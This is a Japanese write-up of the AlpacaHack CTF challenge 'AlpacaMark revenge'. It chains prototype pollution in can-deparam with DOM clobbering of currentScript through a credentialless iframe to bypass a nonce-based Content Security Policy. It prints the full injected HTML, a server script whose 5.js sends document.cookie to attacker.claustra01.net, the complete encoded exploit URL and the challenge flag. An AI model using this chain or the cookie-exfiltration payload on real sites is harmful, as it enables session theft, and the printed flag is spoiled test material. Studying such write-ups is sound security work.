- Source: AlpacaHack
- Author: Ark
AlpacaMarkのrevenge版。AlpacaMarkの解き方は知っている前提で書いていく。
ソースコードを見ると、<script>が封じられている。
import express from "express";
import crypto from "node:crypto";
const DEFAULT_MARKDOWN = `
### Hi there :alpaca:
- alpaca
- giraffe
- camel
\`\`\`javascript
const emojis = ["🦙", "🦒", "🐫"];
alert(emojis[Math.random() * emojis.length | 0]);
\`\`\`
<center>Powered by AlpacaMark</center>
`.trimStart();
const app = express();
app
.use(express.static("dist"))
.set("view engine", "ejs")
.set("views", "server/views");
app.get("/", (req, res) => {
const nonce = crypto.randomBytes(16).toString("base64");
res.setHeader(
"Content-Security-Policy",
`script-src 'strict-dynamic' 'nonce-${nonce}'; default-src 'self'; base-uri 'none'`
);
const markdown = req.query.markdown?.slice(0, 512) ?? DEFAULT_MARKDOWN;
if (/<script/i.test(markdown)) {
return res.status(400).send(":(");
}
res.render("index", {
nonce,
markdown,
});
});
app.listen(3000);
つまり、scriptタグを使わずにcurrentScript.srcかgetElementsByTagName("script")[-1].srcを任意の値にすることができればAlpacaMarkと同じ流れで解ける。
ここでpackage.jsonを見ると、can-deparamのv1.2.3を使用しており、これにはprototype pollutionの脆弱性がある。ソースコードを読むと、keyの値に制約がないため__proto__[polluted]=1のようなクエリパラメータを渡すことでprototype pollutionができそうだ。
これを用いてcurrentScript.tagNameとcurrentScript.srcの値を操作、つまりこのprototype pollutionが反映されるまで待ってからrspackのmain.jsを実行させたい。以下のようなHTMLを挿入すれば良いように思えるが、これでは5.jsが置き換わらない。
</textarea>
<iframe name=currentScript src="/?__proto__[tagName]=SCRIPT&__proto__[src]=https://attacker.claustra01.net/"></iframe>
理由が二つあり、一つはこのアプリにおいて初回アクセス時のみURLをパースしてmarkdownの内容をlocalstorageに保存し、二回目以降はパースせず既にlocalstorageに保存されている値を取得している。iframeタグを挿入した場合、ページそのもののアクセスとiframeとしてのアクセスがあるが、後者でprototype pollutionを実行しようとしても既にlocalstorageにmarkdownが保存されているためクエリのパースが行われない。
そしてもう一つは、単純にprototype pollutionが完了する前に(defer付きで読み込まれているとはいえ)HTMLのパースが完了してmain.jsが実行されている。
これらの問題に対しては、まずiframeのcredentialless属性を用いることで別のコンテキストとして扱い、localstorageなどの値を引き継がないようにすることができる。これでcurrentScriptのプロパティを任意の値に設定することができた。
続いてmain.jsの実行を遅らせるため、大量のレンダリングを行う。これは適当なCSSをインポートさせれば良い。
以上全てのテクニックを取り入れたHTMLを挿入すると、https://attacker.claustra01.net/5.jsにアクセスが飛んでいることが確認できた。
</textarea>
<iframe name=currentScript src="/?__proto__[tagName]=SCRIPT&__proto__[src]=https://attacker.claustra01.net/" credentialless>
</iframe>
<link rel=stylesheet href=/0>
<link rel=stylesheet href=/1>
<link rel=stylesheet href=/2>
<link rel=stylesheet href=/3>
<link rel=stylesheet href=/4>
<link rel=stylesheet href=/5>
<link rel=stylesheet href=/6>
<link rel=stylesheet href=/7>
<link rel=stylesheet href=/8>
<link rel=stylesheet href=/9>
あとはAlpacaMarkと同じように5.jsをホストし、botに報告すれば良い。
const express = require('express');
// logger
function accessLogger(req, res, next) {
const start = Date.now();
res.on('finish', () => {
const duration = Date.now() - start;
console.log(`${req.method} ${req.originalUrl} ${res.statusCode}`);
});
next();
}
const app = express();
app.use(accessLogger);
// 5.js
app.get('/5.js', (req, res) => {
res.send(`location = "https://attacker.claustra01.net/flag?" + document.cookie`);
});
const port = process.env.PORT || 50000;
app.listen(port, () => {
console.log(`Server is running on http://localhost:${port}`);
});
http://alpaca-mark:3000/?markdown=<%2Ftextarea>%0D%0A<iframe+name%3DcurrentScript+src%3D"%2F%3F__proto__%5BtagName%5D%3DSCRIPT%26__proto__%5Bsrc%5D%3Dhttps%3A%2F%2Fattacker.claustra01.net%2F"+credentialless>%0D%0A<%2Fiframe>%0D%0A<link+rel%3Dstylesheet+href%3D%2F0>%0D%0A<link+rel%3Dstylesheet+href%3D%2F1>%0D%0A<link+rel%3Dstylesheet+href%3D%2F2>%0D%0A<link+rel%3Dstylesheet+href%3D%2F3>%0D%0A<link+rel%3Dstylesheet+href%3D%2F4>%0D%0A<link+rel%3Dstylesheet+href%3D%2F5>%0D%0A<link+rel%3Dstylesheet+href%3D%2F6>%0D%0A<link+rel%3Dstylesheet+href%3D%2F7>%0D%0A<link+rel%3Dstylesheet+href%3D%2F8>%0D%0A<link+rel%3Dstylesheet+href%3D%2F9>
flagが得られた。
Alpaca{DOM_Cl0bb3ring_wi7h_PP_Assistanc3}